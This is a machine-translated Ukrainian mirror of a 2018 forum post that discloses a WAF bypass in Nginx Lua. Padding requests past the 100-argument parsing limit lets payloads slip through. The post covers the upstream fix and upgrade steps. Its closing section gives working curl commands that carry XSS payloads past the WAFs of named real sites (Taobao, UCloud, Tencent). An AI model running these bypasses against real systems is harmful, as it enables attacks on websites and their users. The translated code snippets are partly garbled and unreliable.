Ця стаття є дзеркальною статтею машинного перекладу, будь ласка, натисніть тут, щоб перейти до оригінальної статті.

Вид: 16994|Відповідь: 1

[Вразливість безпеки] Вразливість міжмережевого екрану WAF у Nginx Lua

[Копіювати посилання]
Опубліковано 27.04.2018 09:23:29 | | | |
Коли ginx Lua отримує параметри, перші 100 значень параметрів отримуються за замовчуванням, а решта відкидаються.
Отже, WAF, що використовують Nginx Lua, будуть обходитися за замовчуванням.
20 квітня 18 квітня хтось із пасажирів охорони вже повідомив цю деталь, тому я також опублікував цю статтю 233.



Принцип

Офіційний опис виглядає так:

Зверніть увагу, що за замовчуванням розбирається максимум 100 аргументів запиту (включаючи ті, що мають таку ж назву), а додаткові аргументи запиту тихо відкидаються для запобігання потенційному Атаки відмови в обслуговуванні.

За замовчуванням можна розбирати до 100 параметрів запиту (включаючи ті, що мають таку ж назву), а додаткові параметри запиту автоматично відкидаються, щоб запобігти потенційним атакам відмови в обслуговуванні.

Пошук 100, приблизно наступний метод має таку ж проблему.
ngx.req.get_uri_args Отримайте параметри запиту для отримання
ngx.req.get_post_args Отримайте параметри запиту для посту
ngx.req.get_headers Отримайте заголовок запитів
ngx.decode_args Декодувати URL параметрів
ngx.resp.get_headers Отримайте заголовок відповіді
У вихідному коді lua-nginx-module ми бачимо, що вихідний код встановлює параметр максимального запиту та заголовок за замовчуванням на рівні 100




#ifndef NGX_HTTP_LUA_MAX_HEADERS
#define NGX_HTTP_LUA_MAX_HEADERS 100
#endif

Однак офіційна особа надає метод зміни значення за замовчуванням, наприклад, ngx.req.get_uri_args (200), щоб отримати перші 200 параметрів запиту.

Тест

Якщо параметр запиту дорівнює 101, останній параметр запиту не може бути отриманий.

Curl -v 'http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg'

Якщо зменшити один параметр запиту, можна отримати останній параметр запиту, коли параметри запиту рівно 100.

a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62
Відповідь: ZBG
Я тебе зрозумів, zbg

Зверніть увагу, що за замовчуванням дійсно є 100 параметрів запиту, і параметри запиту після 100 параметрів запиту будуть відкинуті.

Є дивна річ, що у зворотному вмісті вище, посередині приблизної позиції, кінцевий параметр zbg вже виведений. Я припускаю, що вихід не у порядку, але порядок розбору відповідає порядку подачі параметрів, бо коли значення 101-го параметра — zbg, це значення не можна отримати.

Додається python-скрипт, який генерує параметри:

# Автор: ZBG
# Пошта:zbg@zbg.org
# Дата: 2018-04-03

a = ''
Для I у діапазоні (200):
    a = a + 'a{0}={1}&'.format(i+1, i+1)
Друкуйте A
Ремонт
Звісно, не рекомендується змінювати значення MAX параметра у вихідному коді. Бо незалежно від того, наскільки велике значення ви встановили, його можна обійти. Рекомендується встановлювати його через параметри методу.
Якщо ви зможете отримати довжину параметра запиту і використати метод на кшталт ngx.req.get_uri_args (lenth), хіба цього не буде достатньо?
Читаючи документацію, я з'ясував, що кількість запитуваних параметрів не вдалося отримати. Однак, якщо встановити лінію на 0, можна отримати всі запитувані параметри.

Цей аргумент можна встановити до нуля, щоб усунути обмеження та обробити всі отримані запитні аргументи.
Локальні ARGS = ngx.req.get_uri_args(0)

Однак настійно не рекомендується встановлювати його на 0, щоб запобігти потенційним атакам відмови в обслуговуванні.

Знімати max_args кришку категорично не рекомендується.

Власне, мені цікаво, чому налаштування 0 може призвести до потенційної атаки відмови в обслуговуванні, і запит все одно йде до nginx, незалежно від кількості параметрів у get чи post.

Я підняв питання офіційній особі, і автор сказав, що ngx.req.get_uri_args (0) збільшить використання процесора та пам'яті сервера. Пізніше я протестував 200 параметрів і використав Nginx+php для отримання 200-го параметра, що означає, що Nginx за замовчуванням не обмежує кількість запитуваних параметрів. Тоді проблема може бути в самому Nginx Lua,Коли Nginx Lua використовує ngx.req.get_uri_args(0) для отримання всіх параметрів і ітерує їх, коли запитується багато параметрів, це споживає більше процесора та пам'яті, і зрештою навіть призводить до відмови в обслуговуванні

03.04.2018 Bypass007 офіційно підняв ПРОБЛЕМУ щодо цього виправлення помилки і нарешті офіційно додав нову функцію на основі цієї ПРОБЛЕМИ 21.04.2018. Адреса запису фіксації цієї функції: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd

Опис функції такий: У версіях після v0.10.13 (включаючи v0.10.13), коли обмеження кількості запитів порушується, друге повернене значення — це усічений рядок.
Починаючи з версії v0.10.13, коли межа перевищується, повертається друге значення — рядок «усічено».
Однак необов'язковий аргумент функції max_args можна використати для подолання цього обмеження:
Місцеві ARGS, ERR = ngx.req.get_uri_args(10)
якщо err == «усічено», то
     -- тут можна ігнорувати або відхиляти поточний запит
кінець

Отже, остаточне виправлення вийшло.

Оновлення lua-nginx-module до v0.10.13 або новішої версії

Потім обмежте загальну кількість параметрів, щодо того, наскільки обмежена загальна кількість, особисто я вважаю, що 100 достатньо

OpenResty оновлює модуль lua-nginx-module

Я не знайшов жодної інформації про модуль оновлення OpenResty, тому сам розібрався, як оновити модуль lua-nginx.

Кроки такі:

Завантажте відповідну версію модуля lua-nginx-module
WGET https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13
розпаковувати
tar -zxvf v0.10.13
Видалити попередню версію lua-nginx-module
RM -RF openresty-1.9.15.1/bundle/ngx_lua-0.10.5
Скопіюйте новий lua-nginx-модуль
MV Lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13
Для компіляції дивіться параметри компіляції VeryNginx


Обхід корпусу

Слід уточнити, що наступні WAF я не впевнений, чи варто використовувати Nginx Lua, але їх можна обійти за загальною кількістю параметрів.

Алі WAF

Цей WAF — це WAF, який використовується внутрішньо Alibaba, тобто WAF, що використовується доменними іменами, такими як *.taobao.com, і не тестувався для хмарного WAF, що продається Alibaba Cloud.
Спочатку запитайте POST XSS Payload для перехоплення.
curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
За допомогою Fuzz було встановлено, що коли кількість параметрів збільшується до 478 з XSS Payload, це більше не перехоплюють, і сайт можна запустити звичайним способом.
curl -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& A468=468&A469=469&A470=470&A471=471&A472=472&A473=473&A474=474&a475=475&a476=476&A477=477&a=<IMG SRC=x onerror=alert(/xss/)>' lu.taobao.com

UCloud

Тестований WAF — це WAF, який продається UCloud.
Коли параметр запиту збільшується до 138, він більше не блокуватиметься, і сайт буде доступний у звичайному режимі.
curl -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn

Tencent WAF

Цей WAF — це WAF, який використовує Tencent внутрішньо, тобто WAF, що використовується доменними іменами, такими як *.qq.com, і не тестувався для хмарного WAF, що продається Tencent Cloud.
Коли параметр запиту збільшиться до 4000, він більше не блокуватиметься, і сайт буде доступний у звичайному режимі. Випадкові тести наступних доменів піддаються впливу.
web.qq.com
ke.qq.com
auto.qq.com
news.qq.com
sports.qq.com
time.qq.com

зведення

Це питання дуже просте, і ви можете його знайти, уважно прочитавши документ. Але чому я не дізнався? Думаю, це все ще занадто мало роздумів.
Джерело
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd





Попередній:Вивчіть Photoshop з нуля, 18 уроків від новачка до бога
Наступний:Сильні та слабкі сторони Lua та Luajit
Застереження:
Усе програмне забезпечення, програмні матеріали або статті, опубліковані Code Farmer Network, призначені лише для навчання та досліджень; Вищезазначений контент не повинен використовуватися в комерційних чи незаконних цілях, інакше користувачі несуть усі наслідки. Інформація на цьому сайті надходить з Інтернету, і спори щодо авторських прав не мають до цього сайту. Ви повинні повністю видалити вищезазначений контент зі свого комп'ютера протягом 24 годин після завантаження. Якщо вам подобається програма, будь ласка, підтримуйте справжнє програмне забезпечення, купуйте реєстрацію та отримайте кращі справжні послуги. Якщо є будь-яке порушення, будь ласка, зв'яжіться з нами електронною поштою.

Mail To:help@itsvse.com